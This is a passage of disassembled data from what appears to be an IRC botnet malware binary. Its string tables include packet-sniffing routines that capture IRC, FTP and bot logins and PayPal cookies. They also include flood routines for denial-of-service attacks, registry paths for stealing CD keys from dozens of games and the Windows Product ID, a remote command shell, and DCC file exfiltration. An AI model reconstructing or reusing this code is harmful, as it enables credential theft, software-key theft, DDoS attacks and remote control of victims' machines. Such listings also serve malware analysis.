dup(0) dd 6F6C3D3Ah, 6E6967h, 4 dup(0) dd 6F6C3F3Ah, 6E6967h, 4 dup(0) dd 6F6C273Ah, 6E6967h, 4 dup(0) dd 6F6C603Ah, 6E6967h, 4 dup(0) dd 6F6C7E3Ah, 6E6967h, 4 dup(0) dd 6F6C203Ah, 6E6967h, 4 dup(0) dd 75612E3Ah, 6874h, 4 dup(0) dd 75612C3Ah, 6874h, 4 dup(0) dd 7561213Ah, 6874h, 4 dup(0) dd 7561403Ah, 6874h, 4 dup(0) dd 7561243Ah, 6874h, 4 dup(0) dd 7561253Ah, 6874h, 4 dup(0) dd 75615E3Ah, 6874h, 4 dup(0) dd 7561263Ah, 6874h, 4 dup(0) dd 75612A3Ah, 6874h, 4 dup(0) dd 75612D3Ah, 6874h, 4 dup(0) dd 75612B3Ah, 6874h, 4 dup(0) dd 75612F3Ah, 6874h, 4 dup(0) dd 75615C3Ah, 6874h, 4 dup(0) dd 75613D3Ah, 6874h, 4 dup(0) dd 75613F3Ah, 6874h, 4 dup(0) dd 7561273Ah, 6874h, 4 dup(0) dd 7561603Ah, 6874h, 4 dup(0) dd 75617E3Ah, 6874h, 4 dup(0) dd 7561203Ah, 6874h, 4 dup(0) dd 64692E3Ah, 5 dup(0) dd 64692C3Ah, 5 dup(0) dd 6469213Ah, 5 dup(0) dd 6469403Ah, 5 dup(0) dd 6469243Ah, 5 dup(0) dd 6469253Ah, 5 dup(0) dd 64695E3Ah, 5 dup(0) dd 6469263Ah, 5 dup(0) dd 64692A3Ah, 5 dup(0) dd 64692D3Ah, 5 dup(0) dd 64692B3Ah, 5 dup(0) dd 64692F3Ah, 5 dup(0) dd 64695C3Ah, 5 dup(0) dd 64693D3Ah, 5 dup(0) dd 64693F3Ah, 5 dup(0) dd 6469273Ah, 5 dup(0) dd 6469603Ah, 5 dup(0) dd 64697E3Ah, 5 dup(0) dd 6469203Ah, 5 dup(0) dd 61682E3Ah, 6E696873h, 4 dup(0) dd 6168213Ah, 6E696873h, 4 dup(0) dd 6168243Ah, 6E696873h, 4 dup(0) dd 6168253Ah, 6E696873h, 4 dup(0) dd 65732E3Ah, 65727563h, 4 dup(0) dd 6573213Ah, 65727563h, 4 dup(0) dd 6C2E3Ah, 5 dup(0) dd 6C213Ah, 5 dup(0) dd 6C243Ah, 5 dup(0) dd 6C253Ah, 5 dup(0) dd 782E3Ah, 5 dup(0) dd 78213Ah, 5 dup(0) dd 78243Ah, 5 dup(0) dd 78253Ah, 5 dup(0) dd 79732E3Ah, 6Eh, 4 dup(0) dd 7973213Ah, 6Eh, 4 dup(0) dd 7973243Ah, 6Eh, 4 dup(0) dd 7973253Ah, 6Eh, 4 dup(0) dd 4B444320h, 207965h, 4 dup(0) dd 4E494F4Ah, 2320h, 3 dup(0) dd 1, 4B43494Eh, 20h, 3 dup(0) dd 1, 5245504Fh, 20h, 3 dup(0) dd 1, 7265706Fh, 20h, 3 dup(0) dd 1, 20776F6Eh, 49206E61h, 4F204352h, 61726570h, 726F74h dd 1, 52455355h, 20h, 3 dup(0) dd 2, 53534150h, 20h, 3 dup(0) dd 2, 70796170h, 6C61h, 3 dup(0) dd 3, 50594150h, 4C41h, 3 dup(0) dd 3, 70796170h, 632E6C61h, 6D6Fh, 2 dup(0) dd 3, 50594150h, 432E4C41h, 4D4Fh, 2 dup(0) dd 3, 2D746553h, 6B6F6F43h, 3A6569h, 2 dup(0) dd 3, 6 dup(0) aHttp_0 db 'HTTP',0 ; DATA XREF: ___:004355A4o align 4 off_435E08 dd offset word_505446 ; DATA XREF: ___:004355A0o off_435E0C dd offset dword_435238+11h ; DATA XREF: ___:0043559Co off_435E10 dd offset word_544F42 ; DATA XREF: ___:00435598o dd 234032Dh, 696E7370h, 3026666h, 6572202Dh, 29287663h dd 69616620h, 2C64656Ch, 74657220h, 656E7275h, 64252064h dd 0 dd 234032Dh, 696E7370h, 3026666h, 7573202Dh, 63697073h dd 73756F69h, 20732520h, 6B636170h, 66207465h, 3A6D6F72h dd 3A732520h, 2D206425h, 732520h, 234032Dh, 696E7370h dd 3026666h, 2Dh, 4E53505Bh, 5D464649h, 0 dd 234032Dh, 696E7370h, 3026666h, 5357202Dh, 636F4941h dd 29286C74h, 69616620h, 2C64656Ch, 74657220h, 656E7275h dd 64252064h, 0 dd 234032Dh, 696E7370h, 3026666h, 6962202Dh, 2928646Eh dd 69616620h, 2C64656Ch, 74657220h, 656E7275h, 64252064h dd 0 dd 234032Dh, 696E7370h, 3026666h aSocketFailedRe db '- socket() failed, returned %d',0 align 4 aHashin db ':!hashin',0 ; DATA XREF: sub_412361+103o align 4 a_hashin db ':.hashin',0 ; DATA XREF: sub_412361+EEo align 10h aIdent_0 db ':!ident',0 ; DATA XREF: sub_412361+D9o a_ident db ':.ident',0 ; DATA XREF: sub_412361+C8o a_login db ':.Login',0 ; DATA XREF: sub_412361+B7o aLogin_0 db ':!Login',0 ; DATA XREF: sub_412361+A6o aLogin_1 db ':!login',0 ; DATA XREF: sub_412361+95o a_login_0 db ':.login',0 ; DATA XREF: sub_412361+84o a366 db '366 ',0 ; DATA XREF: sub_412361+73o align 4 a302_0 db '302 ',0 ; DATA XREF: sub_412361:loc_4123C3o align 10h aJoin_0 db 'JOIN #',0 ; DATA XREF: sub_412361+4Do align 4 aPsniff_0 db 'PSNIFF//',0 ; DATA XREF: sub_412361+3Co align 4 aPsniff_1 db '[PSNIFF]:',0 ; DATA XREF: sub_412361+2Bo align 10h aBotSniff db 'Bot sniff',0 ; DATA XREF: sub_412361+5o align 4 aYouAreNowAnIrc db 'You are now an IRC Operator',0 ; DATA XREF: sub_412478+62o aOper db 'oper ',0 ; DATA XREF: sub_412478+51o align 10h aNick_1 db 'NICK ',0 ; DATA XREF: sub_412478:loc_4124B8o ; sub_4124EE+2Bo align 4 aOper_0 db 'OPER ',0 ; DATA XREF: sub_412478+2Bo align 10h aIrcSniff db 'IRC sniff',0 ; DATA XREF: sub_412478+5o align 4 aPass_1 db 'PASS ',0 ; DATA XREF: sub_4124EE+73o align 4 aUser_3 db 'USER ',0 ; DATA XREF: sub_4124EE+62o align 4 a230 db '230 ',0 ; DATA XREF: sub_4124EE:loc_41253Fo align 4 a220 db '220 ',0 ; DATA XREF: sub_4124EE+3Co align 4 aFtpSniff db 'FTP sniff',0 ; DATA XREF: sub_4124EE+5o align 4 aSetCookie db 'Set-Cookie:',0 ; DATA XREF: sub_412575+73o aPaypal_com db 'paypal.com',0 ; DATA XREF: sub_412575+62o align 10h aPaypal_com_0 db 'PAYPAL.COM',0 ; DATA XREF: sub_412575+51o align 4 aPaypal_0 db 'PAYPAL',0 ; DATA XREF: sub_412575:loc_4125B5o align 4 aPaypal db 'paypal',0 ; DATA XREF: sub_412575+2Bo align 4 aHttpSniff db 'HTTP sniff',0 ; DATA XREF: sub_412575+5o align 4 aOpenssh_2 db 'OpenSSH_2',0 ; DATA XREF: sub_4125FC+51o align 4 aServUFtpServer db 'Serv-U FTP Server',0 ; DATA XREF: sub_4125FC:loc_41263Co align 4 aOpenssl0_9_6 db 'OpenSSL/0.9.6',0 ; DATA XREF: sub_4125FC+2Bo align 4 aVulnSniff db 'VULN sniff',0 ; DATA XREF: sub_4125FC+5o align 4 unk_436084 db 2Dh ; - ; DATA XREF: sub_412661+3ECo db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aVulnSniffSDToS db '- VULN sniff "%s:%d" to "%s:%d": - "%s"',0 align 4 unk_4360BC db 2Dh ; - ; DATA XREF: sub_412661+382o db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aHttpSniffSDToS db '- HTTP sniff "%s:%d" to "%s:%d": - "%s"',0 align 4 unk_4360F4 db 2Dh ; - ; DATA XREF: sub_412661+351o db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aFtpSniffSDToSD db '- FTP sniff "%s:%d" to "%s:%d": - "%s"',0 unk_436128 db 2Dh ; - ; DATA XREF: sub_412661+31Bo db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aIrcSniffSDToSD db '- IRC sniff "%s:%d" to "%s:%d": - "%s"',0 unk_43615C db 2Dh ; - ; DATA XREF: sub_412661+2E2o db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aBotSniffSDToSD db '- Bot sniff "%s:%d" to "%s:%d": - "%s"',0 unk_436190 db 2Dh ; - ; DATA XREF: sub_412661+14Bo db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aWsaioctlFailed db '- WSAIoctl() failed, returned %d',0 align 10h unk_4361C0 db 2Dh ; - ; DATA XREF: sub_412661+C5o db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aBindFailedRetu db '- bind() failed, returned %d',0 align 4 db 2Dh ; - db 3, 34h, 2 db 64h ; d db 64h, 6Fh, 73h db 2 db 3, 2Dh, 20h aDoneWithFloodA db 'done with flood at %iKB/sec',0 dword_436214 dd 234032Dh, 736F6464h, 202D0302h, 646E6573h, 72726520h ; DATA XREF: sub_412B09+302o dd 203A726Fh, 6425h, 234032Dh, 706D6369h, 202D0302h, 656E6F64h dd 74697720h, 73252068h, 6F6C6620h, 7420646Fh, 7325206Fh dd 6573202Eh, 2520746Eh, 61702064h, 74656B63h, 20402073h dd 424B6425h, 6365732Fh, 64252820h, 2E29424Dh, 0 dd 234032Dh, 706D6369h, 202D0302h, 6F727265h, 65732072h dd 6E69646Eh, 61702067h, 74656B63h, 6F742073h, 2E732520h dd 20642520h, 6B636170h, 20737465h, 746E6573h, 6572202Ch dd 6E727574h, 25206465h, 64h, 234032Dh, 706D6369h, 202D0302h dd 61766E69h, 2064696Ch, 67726174h, 69207465h, 70h, 234032Dh dd 706D6369h, 202D0302h, 73746573h, 6F6B636Fh, 29287470h dd 69616620h, 2C64656Ch, 74657220h, 656E7275h, 64252064h dd 0 dd 234032Dh, 706D6369h, 202D0302h, 6B636F73h, 29287465h dd 69616620h, 2C64656Ch, 74657220h, 656E7275h, 64252064h dd 0 dd 234032Dh, 676E6970h, 202D0302h, 696E6966h, 64656873h dd 6E657320h, 676E6964h, 6E697020h, 74207367h, 7325206Fh dd 0 dd 234032Dh, 676E6970h, 202D0302h, 6F727265h, 65732072h dd 6E69646Eh, 69702067h, 2073676Eh, 25206F74h, 73h, 234032Dh dd 2706475h, 66202D03h, 73696E69h, 20646568h, 646E6573h dd 20676E69h, 6B636170h, 20737465h, 25206F74h, 73h, 234032Dh dd 2706475h, 65202D03h, 726F7272h, 6E657320h, 676E6964h dd 63617020h, 7374656Bh, 206F7420h, 7325h, 234032Dh, 73796B73h dd 3026E79h, 6F44202Dh, 7720656Eh, 20687469h, 6F6F6C66h dd 25282064h, 2F424B69h, 29636573h, 0 db 2Dh ; - db 3, 34h, 2 db 73h ; s db 79h, 6Eh, 2 db 3 aDoneWithFloodI db '- Done with flood (%iKB/sec).',0 align 4 dword_43643C dd 234032Dh, 26E7973h, 53202D03h, 20646E65h, 6F727265h ; DATA XREF: sub_41386C+27Do dd 3C203A72h, 2E3E6425h, 0 dd 234032Dh, 67726174h, 3023361h, 6F44202Dh, 7720656Eh dd 20687469h, 6F6F6C66h, 2E64h, 234032Dh, 2706374h, 44202D03h dd 20656E6Fh, 68746977h, 20732520h, 6F6F6C66h, 6F742064h dd 3A504920h, 2E732520h, 6E655320h, 25203A74h, 61702064h dd 74656B63h, 20297328h, 64252040h, 732F424Bh, 28206365h dd 424D6425h, 2E29h, 234032Dh, 2706374h, 45202D03h, 726F7272h dd 6E657320h, 676E6964h, 63617020h, 7374656Bh, 206F7420h dd 203A5049h, 202E7325h, 6B636150h, 20737465h, 746E6573h dd 6425203Ah, 6552202Eh, 6E727574h, 203A6465h, 3E64253Ch dd 2Eh, 234032Dh, 2706374h, 49202D03h, 6C61766Eh, 74206469h dd 65677261h, 50492074h, 2Eh, 234032Dh, 2706374h, 45202D03h dd 726F7272h, 6573203Ah, 636F7374h, 74706F6Bh, 66202928h dd 656C6961h, 72202C64h, 72757465h, 3A64656Eh, 64253C20h dd 2E3Eh, 234032Dh, 2706374h, 45202D03h, 726F7272h, 6F73203Ah dd 74656B63h, 66202928h, 656C6961h, 72202C64h, 72757465h dd 3A64656Eh, 64253C20h, 2E3Eh, 234032Dh, 6E757374h, 2696D61h dd 44202D03h, 20656E6Fh, 68746977h, 6F6C6620h, 202C646Fh dd 70206425h, 656B6361h, 73207374h, 2E746E65h, 0 dd 234032Dh, 64736977h, 75286D6Fh, 2297064h, 53202D03h dd 74726174h, 20676E69h, 64736957h, 73206D6Fh, 666F6F70h dd 55206465h, 66205044h, 646F6F6Ch, 72687420h, 2E646165h dd 0 dd 234032Dh, 64736977h, 75286D6Fh, 2297064h, 45202D03h dd 726F7272h, 6E657320h, 676E6964h, 63617020h, 7374656Bh dd 206F7420h, 202E7325h, 3D786165h, 4B434F53h, 455F5445h dd 524F5252h, 5357202Ch, 74654741h, 7473614Ch, 6F727245h dd 3D292872h, 202E6425h, 657A6973h, 6228666Fh, 65666675h dd 3D202972h, 2E642520h, 63615020h, 7374656Bh, 6E657320h dd 75732074h, 73736563h, 6C6C7566h, 203D2079h, 2E6425h dd 234032Dh, 64736977h, 75286D6Fh, 2297064h, 46202D03h dd 73696E69h, 20646568h, 646E6573h, 20676E69h, 6B636170h dd 20737465h, 25206F74h, 53202E73h, 20746E65h, 70206425h dd 656B6361h, 29732874h, 257E202Eh, 20424D64h, 6420666Fh dd 20617461h, 746E6573h, 257E2820h, 732F4B64h, 2E29h, 234032Dh dd 64736977h, 75286D6Fh, 2297064h, 53202D03h, 69646E65h dd 7020676Eh, 656B6361h, 74207374h, 7325206Fh, 2E2E2Eh dd 234032Dh, 64736977h, 75286D6Fh, 2297064h, 49202D03h dd 6C61766Eh, 74206469h, 65677261h, 50492074h, 5357202Eh dd 74654741h, 7473614Ch, 6F727245h, 20292872h, 75746572h dd 20736E72h, 2E6425h, 234032Dh, 64736977h, 75286D6Fh dd 2297064h, 45202D03h, 726F7272h, 6C616320h, 676E696Ch dd 74657320h, 6B636F73h, 2874706Fh, 57202E29h, 65474153h dd 73614C74h, 72724574h, 2928726Fh, 74657220h, 736E7275h dd 2E642520h, 0 db 2Dh ; - db 3, 34h, 2 db 77h ; w db 69h, 73h, 64h db 6Fh ; o db 6Dh, 28h, 75h db 64h ; d db 70h, 29h, 2 db 3 aErrorCallingSo db '- Error calling socket().',0 align 4 db 2Dh ; - db 3, 34h, 2 db 77h ; w db 6Fh, 6Eh, 6Bh db 2 db 3, 2Dh, 20h aDoneWithFloodP db 'Done with flood, ports hit: %s',0 align 4 aSD db '%s%d ',0 align 4 dword_43682C dd 202E6425h, 73253403h, 203D2003h, 73253703h, 3 ; DATA XREF: sub_415135+35o dword_436840 dd 234032Dh, 61696C61h, 696C2073h, 3027473h, 2Dh ; DATA XREF: sub_415135+10o a_2d_2d4d_2d_2d db '[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s',0 ; DATA XREF: sub_4151AD+60o align 4 dword_436878 dd 234032Dh, 3676F6Ch, 43202D02h, 7261656Ch, 2E6465h ; DATA XREF: sub_41524D:loc_415282o dword_43688C dd 234032Dh, 2676F6Ch, 63202D03h, 7261656Ch, 6465h ; DATA XREF: sub_41524D+20o dword_4368A0 dd 234032Dh, 2676F6Ch, 6C202D03h, 20747369h, 706D6F63h ; DATA XREF: ___:0041536Ao dd 6574656Ch, 0 dd 234032Dh, 2676F6Ch, 6C202D03h, 20747369h, 72617473h dd 676E6974h, 0 aDisplay db 'DISPLAY',0 ; DATA XREF: sub_4153BD+11o aWindow db 'Window',0 ; DATA XREF: sub_4155F8+23o ; sub_4157F1+26o align 4 dd 80000001h off_4368EC dd offset aSoftwareValveC ; DATA XREF: sub_415A30+Cr ; sub_415A30+21o ; "Software\\Valve\\CounterStrike\\Settings" dd offset aCdkey ; "CDKey" dd offset aCounterStrikeR ; "Counter-Strike (Retail)" dword_4368F8 dd 2 dup(0) ; DATA XREF: sub_415A30+26o dd 80000001h, 437A7Ch, 437A70h, 437A60h, 2 dup(0) dd 80000001h, 437A40h, 437A3Ch, 437A28h, 2 dup(0) dd 80000001h, 437A04h, 437A3Ch, 4379F8h, 2 dup(0) dd 80000001h, 4379D4h, 4379CCh, 4379B8h, 2 dup(0) dd 80000001h, 4379A4h, 437994h, 437978h, 2 dup(0) dd 80000001h, 437934h, 437ABCh, 437920h, 2 dup(0) dd 80000002h, 4378F4h, 4378E8h, 4378C8h, 2 dup(0) dd 80000002h, 437894h, 437ABCh, 43787Ch, 2 dup(0) dd 80000002h, 437848h, 437ABCh, 437830h, 2 dup(0) dd 80000002h, 437818h, 437ABCh, 437800h, 2 dup(0) dd 80000002h, 4377C4h, 43D808h, 4377B4h, 2 dup(0) dd 80000002h, 43777Ch, 43D808h, 437768h, 2 dup(0) dd 80000002h, 43771Ch, 43D808h, 4376FCh, 2 dup(0) dd 80000002h, 4376ACh, 43D808h, 437680h, 2 dup(0) dd 80000002h, 437644h, 43D808h, 437630h, 2 dup(0) dd 80000002h, 4375F8h, 43D808h, 4375E8h, 2 dup(0) dd 80000002h, 437598h, 43D808h, 43756Ch, 2 dup(0) dd 80000002h, 43752Ch, 43D808h, 437510h, 2 dup(0) dd 80000002h, 4374E0h, 43D808h, 4374C0h, 2 dup(0) dd 80000002h, 437484h, 43D808h, 437470h, 2 dup(0) dd 80000002h, 437428h, 43D808h, 437408h, 2 dup(0) dd 80000002h, 4373B4h, 43D808h, 437384h, 2 dup(0) dd 80000002h, 437334h, 43D808h, 437308h, 2 dup(0) dd 80000002h, 4372C8h, 4372C0h, 4372A0h, 2 dup(0) dd 80000002h, 43725Ch, 43D808h, 437240h, 2 dup(0) dd 80000002h, 4371F4h, 43D808h, 4371D0h, 2 dup(0) dd 80000002h, 43719Ch, 43D808h, 437190h, 2 dup(0) dd 80000002h, 43715Ch, 43D808h, 437150h, 2 dup(0) dd 80000002h, 43711Ch, 43D808h, 437110h, 2 dup(0) dd 80000002h, 4370DCh, 43D808h, 4370D0h, 2 dup(0) dd 80000002h, 437094h, 43D808h, 437080h, 2 dup(0) dd 80000002h, 437044h, 43D808h, 437030h, 2 dup(0) dd 80000002h, 437000h, 437ABCh, 436FE4h, 2 dup(0) dd 80000002h, 436FC4h, 436FBCh, 436F98h, 2 dup(0) dd 80000002h, 436F7Ch, 436FBCh, 436F5Ch, 2 dup(0) dd 80000002h, 436F3Ch, 436FBCh, 436F18h, 2 dup(0) dd 80000002h, 436F00h, 436FBCh, 436EFCh, 2 dup(0) dd 80000002h, 436EE0h, 436ED0h, 436EC8h, 2 dup(0) dd 80000002h, 436E94h, 42C910h, 436E7Ch, 2 dup(0) dd 80000002h, 436E40h, 436E34h, 436E0Ch, 436DFCh, 436DE8h dd 80000002h, 436DC4h, 436DB8h, 436DA4h, 436D94h, 436D8Ch dd 80000002h, 436DC4h, 436DB8h, 436D60h, 436D94h, 436D58h dd 80000002h, 436DC4h, 436DB8h, 436D28h, 436D94h, 436D20h dd 6 dup(0) dd 3379654Bh, 3Dh, 6576654Eh, 6E697772h, 20726574h, 6867694Eh dd 28207374h, 64726F48h, 6F207365h, 68742066h, 6E552065h dd 64726564h, 296B7261h, 0 dd 3279654Bh, 3Dh, 6576654Eh, 6E697772h, 20726574h, 6867694Eh dd 28207374h, 64616853h, 2073776Fh, 5520666Fh, 6572646Eh dd 6469746Eh, 2965h, 3179654Bh, 3Dh, 636E776Eh, 79656B64h dd 696E692Eh, 0 aNeverwinterNig db 'Neverwinter Nights',0 align 4 aLocation db 'Location',0 align 4 aSoftwareBiowar db 'Software\BioWare\NWN\Neverwinter',0 align 4 aMtkwftmkemfew3 db 'mtkwftmkemfew3p3b7',0 align 4 aBaseMpSof2key db 'base\mp\sof2key',0 aSoldierOfFortu db 'Soldier of Fortune II - Double Helix',0 align 4 aInstallpath db 'InstallPath',0 db 53h aOftwareActivis db 'oftware\Activision\Soldier of Fortune II - Double Helix',0 align 4 aHiddenDangerou db 'Hidden & Dangerous 2',0 align 4 db 53h aOftwareIllusio db 'oftware\Illusion Softworks\Hidden & Dangerous 2',0 align 4 aChrome db 'Chrome',0 align 10h aSerialnumber db 'SerialNumber',0 align 10h db 53h aOftwareTechlan db 'oftware\Techland\Chrome',0 align 4 dd offset word_584F4E aSoftwareWestwo db 'Software\Westwood\NOX',0 align 4 aCommandAndConq db 'Command and Conquer: Red Alert 2',0 align 4 db 53h aOftwareWestwoo db 'oftware\Westwood\Red Alert 2',0 align 4 aCommandAndCo_0 db 'Command and Conquer: Red Alert',0 align 4 db 53h aOftwareWestw_0 db 'oftware\Westwood\Red Alert',0 aCommandAndCo_1 db 'Command and Conquer: Tiberian Sun',0 align 4 aSerial db 'Serial',0 align 4 db 53h aOftwareWestw_1 db 'oftware\Westwood\Tiberian Sun',0 align 4 aRainbowSixIiiR db 'Rainbow Six III RavenShield',0 db 53h aOftwareRedStor db 'oftware\Red Storm Entertainment\RAVENSHIELD',0 align 10h aNascarRacing20 db 'Nascar Racing 2003',0 align 4 db 53h aOftwareElectro db 'oftware\Electronic Arts\EA Sports\Nascar Racing 2003\ergc',0 align 10h aNascarRacing_0 db 'Nascar Racing 2002',0 align 4 db 53h aOftwareElect_0 db 'oftware\Electronic Arts\EA Sports\Nascar Racing 2002\ergc',0 align 10h aNhl2003 db 'NHL 2003',0 align 4 db 53h aOftwareElect_1 db 'oftware\Electronic Arts\EA Sports\NHL 2003\ergc',0 align 10h aNhl2002 db 'NHL 2002',0 align 4 db 53h aOftwareElect_2 db 'oftware\Electronic Arts\EA Sports\NHL 2002\ergc',0 align 10h aFifa2003 db 'FIFA 2003',0 align 4 db 53h aOftwareElect_3 db 'oftware\Electronic Arts\EA Sports\FIFA 2003\ergc',0 align 10h aFifa2002 db 'FIFA 2002',0 align 4 db 53h aOftwareElect_4 db 'oftware\Electronic Arts\EA Sports\FIFA 2002\ergc',0 align 10h aShogunTotalWar db 'Shogun: Total War: Warlord Edition',0 align 4 db 53h aOftwareElect_5 db 'oftware\Electronic Arts\EA GAMES\Shogun Total War - Warlord Editi' db 'on\ergc',0 align 10h aNeedForSpeedUn db 'Need For Speed: Underground',0 db 53h aOftwareElect_6 db 'oftware\Electronic Arts\EA GAMES\Need For Speed Underground\ergc',0 align 10h aNeedForSpeedHo db 'Need For Speed Hot Pursuit 2',0 align 10h aErgc db 'ergc',0 align 4 db 53h aOftwareElect_7 db 'oftware\Electronic Arts\EA GAMES\Need For Speed Hot Pursuit 2',0 align 4 aMedalOfHonorAl db 'Medal of Honor: Allied Assault: Spearhead',0 align 4 db 53h aOftwareElect_8 db 'oftware\Electronic Arts\EA GAMES\Medal of Honor Allied Assault Sp' db 'earhead\ergc',0 align 4 aMedalOfHonor_0 db 'Medal of Honor: Allied Assault: Breakthrough',0 align 4 db 53h aOftwareElect_9 db 'oftware\Electronic Arts\EA GAMES\Medal of Honor Allied Assault Br' db 'eakthrough\ergc',0 align 4 aMedalOfHonor_1 db 'Medal of Honor: Allied Assault',0 align 4 db 53h aOftwareElec_10 db 'oftware\Electronic Arts\EA GAMES\Medal of Honor Allied Assault\er' db 'gc',0 align 10h aGlobalOperatio db 'Global Operations',0 align 4 db 53h aOftwareElec_11 db 'oftware\Electronic Arts\EA GAMES\Global Operations\ergc',0 align 10h aCommandAndCo_2 db 'Command and Conquer: Generals',0 align 10h db 53h aOftwareElec_12 db 'oftware\Electronic Arts\EA GAMES\Generals\ergc',0 aJamesBond007Ni db 'James Bond 007: Nightfire',0 align 4 db 53h aOftwareElec_13 db 'oftware\Electronic Arts\EA GAMES\James Bond 007 Nightfire\ergc',0 aCommandAndCo_3 db 'Command and Conquer: Generals (Zero Hour)',0 align 4 db 53h aOftwareElec_14 db 'oftware\Electronic Arts\EA GAMES\Command and Conquer Generals Zer' db 'o Hour\ergc',0 align 4 aBlackAndWhite db 'Black and White',0 db 53h aOftwareElec_15 db 'oftware\Electronic Arts\EA GAMES\Black and White\ergc',0 align 10h aBattlefieldVie db 'Battlefield Vietnam',0 db 53h aOftwareElec_16 db 'oftware\Electronic Arts\EA GAMES\Battlefield Vietnam\ergc',0 align 10h aBattlefield194 db 'Battlefield 1942 (Secret Weapons of WWII)',0 align 4 db 53h aOftwareElec_17 db 'oftware\Electronic Arts\EA GAMES\Battlefield 1942 Secret Weapons ' db 'of WWII\ergc',0 align 4 aBattlefield1_0 db 'Battlefield 1942 (Road To Rome)',0 db 53h aOftwareElec_18 db 'oftware\Electronic Arts\EA GAMES\Battlefield 1942 The Road to Rom' db 'e\ergc',0 align 4 aBattlefield1_1 db 'Battlefield 1942',0 align 4 db 53h aOftwareElec_19 db 'oftware\Electronic Arts\EA GAMES\Battlefield 1942\ergc',0 aFreedomForce db 'Freedom Force',0 align 4 db 53h aOftwareElec_20 db 'oftware\Electronic Arts\EA Distribution\Freedom Force\ergc',0 aIgi2CovertStri db 'IGI 2: Covert Strike',0 align 4 db 53h aOftwareIgi2Ret db 'oftware\IGI 2 Retail',0 align 10h aUnrealTourname db 'Unreal Tournament 2004',0 align 4 db 53h aOftwareUnrealT db 'oftware\Unreal Technology\Installed Apps\UT2004',0 align 4 aUnrealTourna_0 db 'Unreal Tournament 2003',0 align 4 db 53h aOftwareUnrea_0 db 'oftware\Unreal Technology\Installed Apps\UT2003',0 align 4 aMicrosoftWindo db 'Microsoft Windows Product ID',0 align 4 aProductid db 'ProductId',0 align 4 db 53h aOftwareMicro_0 db 'oftware\Microsoft\Windows\CurrentVersion',0 align 10h aSoldiersOfAnar db 'Soldiers Of Anarchy',0 aSoftwareSilver db 'Software\Silver Style Entertainment\Soldiers Of Anarchy\Settings',0 align 4 aLegendsOfMight db 'Legends of Might and Magic',0 align 4 aCustomernumber db 'CustomerNumber',0 align 4 aSoftware3d0Sta db 'Software\3d0\Status',0 aIndustryGiant2 db 'Industry Giant 2',0 align 4 aPrvkey db 'prvkey',0 align 4 aSoftwareJowood db 'Software\JoWooD\InstalledGames\IG2',0 align 4 aHalfLife db 'Half-Life',0 align 4 aSoftwareValveH db 'Software\Valve\Half-Life\Settings',0 align 4 aGunmanChronicl db 'Gunman Chronicles',0 align 4 aKey_0 db 'Key',0 aSoftwareValveG db 'Software\Valve\Gunman\Settings',0 align 10h aTheGladiators db 'The Gladiators',0 align 10h aRegnumber db 'RegNumber',0 align 4 aSoftwareEugenS db 'Software\Eugen Systems\The Gladiators',0 align 4 aCounterStrikeR db 'Counter-Strike (Retail)',0 ; DATA XREF: ___:004368F4o aCdkey db 'CDKey',0 ; DATA XREF: ___:004368F0o align 4 aSoftwareValveC db 'Software\Valve\CounterStrike\Settings',0 ; DATA XREF: ___:off_4368ECo align 4 asc_437AEC: ; DATA XREF: sub_415A30+E9o ; sub_415A30+F4o unicode 0, <=>,0 dword_437AF0 dd 234032Dh, 656B6463h, 3027379h, 7325202Dh, 7325203Ah ; DATA XREF: sub_415A30+2Bo dd 0 db 2Dh ; - db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aFailedToSendTo db '- failed to send to Remote command shell',0 align 4 db 2Dh ; - db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aFailedToOpenRe db '- failed to open remote command shell',0 align 4 unk_437B6C db 2Dh ; - ; DATA XREF: ___:00415F18o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aFailedToOpenSo db '- failed to open socket',0 align 10h dword_437B90 dd 234032Dh, 2636364h, 73202D03h, 656B636Fh, 72652074h ; DATA XREF: ___:0041617Do ; ___:00416313o dd 726F72h unk_437BA8 db 2Dh ; - ; DATA XREF: ___:00416115o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aFileSSentToSSB db '- file %s sent to %s (%s bytes).',0 align 4 unk_437BD4 db 2Dh ; - ; DATA XREF: ___:0041601Do db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aUnableToOpenSo db '- unable to open socket',0 align 4 dword_437BF8 dd 234032Dh, 2636364h, 73202D03h, 20646E65h, 656D6974h ; DATA XREF: ___:00415FE6o dd 74756Fh dword_437C10 dd 43434401h, 4E455320h, 73252044h, 20692520h, 25206925h ; DATA XREF: ___:00415F85o dd 169h unk_437C28 db 2Dh ; - ; DATA XREF: ___:00415F42o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aFileDoesnTExis db '- file doesn',27h,'t exist',0 align 4 unk_437C48 db 2Dh ; - ; DATA XREF: ___:00415E9Do db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aFailedToBindTo db '- failed to bind to socket',0 unk_437C6C db 2Dh ; - ; DATA XREF: ___:00415E5Fo db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aFailedToCrea_2 db '- failed to create socket',0 align 10h unk_437C90 db 2Dh ; - ; DATA XREF: ___:0041638Eo db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aReceivedSFromS db '- received %s from %s (%s bytes).',0 align 4 unk_437CBC db 2Dh ; - ; DATA XREF: ___:00416288o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aErrorOpeningSo db '- error opening socket',0 unk_437CDC db 2Dh ; - ; DATA XREF: ___:00416268o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aErrorOpeningFi db '- error opening file for writing',0 align 4 aAB db 'a+b',0 ; DATA XREF: ___:00416254o unk_437D0C db 2Dh ; - 